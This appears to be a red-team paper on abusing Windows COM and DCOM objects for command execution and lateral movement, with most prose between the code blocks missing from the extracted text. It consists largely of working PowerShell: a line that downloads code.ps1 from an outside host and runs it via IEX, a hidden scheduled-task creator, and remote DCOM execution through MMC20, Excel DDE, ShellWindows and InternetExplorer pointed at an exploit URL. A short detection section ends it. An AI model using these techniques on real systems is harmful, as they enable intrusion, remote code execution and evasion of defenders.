Abusing COM & DCOM Objects
Abusing COM & DCOM Objects
By Haboob Team
Abusing COM & DCOM objects
Table of Contents
Introduction ........................................................................................................... 3
What is a COM Object? .......................................................................................... 3
What is the difference between COM and DCOM objects? ................................... 3
Why COM Objects? ................................................................................................ 3
Command execution using COM objects ............................................................... 5
COM object with CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E} .................... 5
COM object with CLSID {F5078F35-C551-11D3-89B9-0000F81FE221}
(Msxml2.XMLHTTP.3.0) .................................................................................................................. 6
COM object with CLSID {0F87369F-A4E5-4CFC-BD3E-73E6154572DD}..................... 7
COM object with CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39} for
ShellWindows ..................................................................................................................................... 8
COM object with CLSID {C08AFD90-F2A1-11D1-8455-00A0C91F3880} for
ShellBrowserWindow ...................................................................................................................... 9
Lateral movements using DCOM.......................................................................... 10
MMC Application Class (MMC20.Application) .................................................................... 10
EXCEL DDE (Excel.Application) ................................................................................................... 11
internetexplorer.Application in iexplorer.exe ..................................................................... 12
DCOM object with CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39} for
ShellWindows ................................................................................................................................... 13
DCOM object with CLSID {C08AFD90-F2A1-11D1-8455-00A0C91F3880} for
ShellBrowserWindow .................................................................................................................... 13
Passing credentials for non-interactive shell ........................................................ 14
Detection ............................................................................................................. 15
References ........................................................................................................... 16
Table of Figures
Introduction
Nowadays organization’s security members became familiar with most of popular
lateral movements techniques, which makes red teaming more difficult, therefor
applying the latest techniques of initial access and lateral movements is a crucial for a
successful attack, in this paper we will cover some aspects of abusing DCOM objects
and several interesting COM objects were discovered by researchers that allow task
scheduling, fileless download & execute as well as command execution to conduct
lateral movements inside the network, note that the usage of these objects can be used
to defeat detection based on process behavior and heuristic signatures.
- APPID – The Application Identifier (APPID) identifies all of the classes that are part
of the same executable and the permissions required to access it. DCOM cannot
work if the APPID isn’t correct.
To make a COM object accessible by DCOM, an AppID must be associated with the
CLSID of the class and appropriate permissions need to be given to the AppID. A
COM object without an associated AppID cannot be directly accessed from a remote
machine.
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-
0000F81FE221")); $o.Open("GET", "http://10.10.10.10/code.ps1", $False); $o.Send(); IEX
$o.responseText;
$TaskName = [Guid]::NewGuid().ToString()
$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$Instance.Connect()
$Folder = $Instance.GetFolder("\")
$Task = $Instance.NewTask(0)
$Trigger = $Task.triggers.Create(0)
$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))
$Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay + 120))
$Trigger.ExecutionTimelimit = "PT5M"
$Trigger.Enabled = $True
$Trigger.Id = $Taskname
$Action = $Task.Actions.Create(0)
$Action.Path = “cmd.exe”
$Action.Arguments = “/c whoami”
$Action.HideAppWindow = $True
$Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)
function Convert-Date {
param(
[datetime]$Date
)
PROCESS {
$Date.Touniversaltime().tostring("u") -replace " ","T"
}
}
$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-
00A0C90A8F39"))
$item = $hb.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-
00A0C91F3880"))
$hb.Document.Application.Parent.ShellExecute("calc.exe")
$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.126.134"))
$hb.Document.ActiveView.ExecuteShellCommand('cmd',$null,'/c echo Haboob > C:\hb.txt','7')
The DDEInitiate method exposed by the Excel.Application objects limits the App
parameter to eight characters But the Topic has a much more manageable character
limit of 1,024, which is imposed by the CreateProcess function, Furthermore, the
method appends ".exe" to the App parameter, so "cmd.exe" tries to run
"cmd.exe.exe", which will obviously fail, so we need to remove the extension (.exe)
when calling the method, also it will pop up some alert, researcher found that it can be
disabled by using DisplayAlerts property.[3]
$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.126.134"))
$hb.DisplayAlerts = $false
$hb.DDEInitiate('cmd','/c echo Haboob > C:\hb.txt')
internetexplorer.Application in iexplorer.exe:
One of the interesting techniques discovered by homjxi0e, you can open internet
Explorer browser on remote machines by using navigate methods which you can use it
get command execution by browser exploits.
$Object_COM =
[Activator]::CreateInstance([type]::GetTypeFromProgID("InternetExplorer.Application","192.168.126
.134"))
$Object_COM.Visible = $true
$Object_COM.Navigate("http://192.168.100.1/exploit")
$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-
00A0C90A8F39",”192.168.1.1”))
$item = $hb.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-
00A0C91F3880",”192.168.1.1”))
$hb.Document.Application.Parent.ShellExecute("calc.exe")
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('$hb =
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.126.134"));$
hb.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c echo Haboob > C:\hb.txt","7")'))
Detection
Using these DCOM methods will (likely) require privileged access to the remote
machine. Protect privileged domain accounts. Avoid password re-use across local
machine accounts.
Ensure that defense-in-depth controls, host-based security products, and host
monitoring are in place to detect/deter suspicious activity. Enable host-based
firewalls to prevent RPC/DCOM interaction and instantiation.
Monitor the file system (and registry) for newly introduced artifacts and changes.
Monitor for suspicious use of PowerShell within the environment. Enforce
Constrained Language Mode wherever/whenever possible (*Note: This may be
difficult for privileged accounts).
Upon DCOM invocation ‘failure’, System Event ID 10010 (Error, DistributedCOM)
will be generated on the target machine with reference to the CLSID: [4]
References
- https://docs.microsoft.com/en-us/windows/win32/com/the-component-object-
model
- https://www.varonis.com/blog/dcom-distributed-component-object-model/
- https://codewhitesec.blogspot.com/2018/07/lethalhta.html
- https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects-
part-two.html
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-
application-com-object/
- https://hackdefense.com/assets/downloads/automating-the-enumeration-of-
possible-dcom-vulnerabilities-axel-boesenach-v1.0.pdf
- https://homjxi0e.wordpress.com/2018/02/15/lateral-movement-using-
internetexplorer-application-object-com/
- https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-
movement-technique/